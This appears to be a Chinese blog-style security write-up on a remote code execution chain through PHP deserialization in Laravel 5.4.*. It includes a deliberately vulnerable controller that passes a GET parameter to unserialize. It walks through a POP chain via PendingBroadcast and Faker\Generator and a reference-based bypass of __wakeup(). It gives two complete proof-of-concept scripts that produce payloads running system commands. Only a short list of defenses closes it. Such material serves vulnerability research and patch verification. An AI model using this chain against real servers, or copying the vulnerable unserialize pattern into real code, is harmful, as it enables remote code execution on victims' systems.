Laravel 5.4.*反序列化——对冲__wakeup()的RCE链利用
字数 1161 2025-08-26 22:11:51
Laravel 5.4.* 反序列化漏洞分析与利用
环境搭建
-
使用Composer创建Laravel 5.4.*项目:
composer create-project --prefer-dist laravel/laravel laravel5.4 "5.4.*" -
配置路由(routes/web.php):
Route::get("/","\App\Http\Controllers\POPController@test"); -
创建控制器(app/Http/Controllers/POPController.php):
namespace App\Http\Controllers; use Illuminate\Http\Request; class POPController extends Controller { public function test() { if(isset($_GET['test'])) { $test = $_GET['test']; unserialize($test); } else { echo "No Data"; } } }
漏洞分析
反序列化入口点
在Illuminate\Broadcasting\PendingBroadcast类中找到__destruct()方法:
public function __destruct() {
$this->events->dispatch($this->event);
}
利用链构建
- 第一步:通过
PendingBroadcast的__destruct()调用dispatch()方法 - 第二步:寻找没有
dispatch()方法的类,触发__call()魔术方法 - 第三步:利用
Faker\Generator类的__call()方法:
其中public function __call($method, $attributes) { return call_user_func_array($this->getFormatter($method), $attributes); }getFormatter()方法:public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } // ... }
原始POC
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($events, $event) {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Faker {
class Generator {
protected $formatters;
function __construct() {
$this->formatters = ['dispatch' => 'system'];
}
}
}
namespace {
$a = new Faker\Generator();
$b = new Illuminate\Broadcasting\PendingBroadcast($a, 'ls');
echo urlencode(serialize($b));
}
__wakeup()绕过问题
Laravel 5.4.*的PHP版本要求(≥5.6.4)使得CVE-2016-7124(__wakeup绕过)不可用。
高级绕过技术
PHP序列化引用类型
- r类型:对象引用(深拷贝)
- R类型:指针引用(浅拷贝)
示例:
class Demo {
var $a;
var $b;
var $c;
public function __construct() {
$this->a = 'first';
$this->b = 'second';
$this->c = 'third';
}
}
$d = new Demo();
$d->c = &$d->a; // 使用R引用
对冲__wakeup()的思路
- 使被置空的
$formatters变量与某个类中的变量$bypass成为R指针引用关系 - 当
$formatters被置空时,通过改变$bypass的值来修改$formatters - 在执行
getFormatter()之前完成上述操作
实际利用链
使用Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator类的__destruct()方法:
public function __destruct() {
$this->parent->addCollection($this->collection);
}
通过RouteCollection的addCollection()方法:
public function addCollection(RouteCollection $collection) {
foreach ($collection->all() as $name => $route) {
$this->add($name, $route);
}
}
最终POC
namespace Symfony\Component\Routing\Loader\Configurator {
class CollectionConfigurator {
public function __construct() {
$this->parent = new \Symfony\Component\Routing\RouteCollection();
$this->collection = new \Symfony\Component\Routing\RouteCollection();
$this->route = new \Symfony\Component\Routing\Route();
$this->parentConfigurator = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}
namespace Symfony\Component\Routing {
class RouteCollection {
public function __construct() {
$this->routes = ["dispatch" => "system"];
}
}
class Route {
public function __construct() {
$this->path = '////'; // trim后为空,直接return
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct() {
$this->events = new \Faker\Generator();
$this->event = 'calc.exe';
}
}
}
namespace Faker {
class Generator {
protected $formatters;
protected $providers;
public function __construct() {
$this->formatters = ['useless'];
}
}
}
namespace {
$POC = new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator();
echo urlencode(str_replace('363', '333', str_replace('a:1:{i:0;s:7:"useless";}', 'R:3;', serialize($POC))));
}
利用链总结
CollectionConfigurator::__destruct()->RouteCollection::addCollection()RouteCollection::all()-> 获取routes数组PendingBroadcast::__destruct()->Generator::dispatch()Generator::__call()->call_user_func_array()- 通过R引用绕过
__wakeup()对$formatters的置空
防御措施
- 避免反序列化用户输入
- 及时更新Laravel框架版本
- 使用类型严格比较
- 实施输入验证和过滤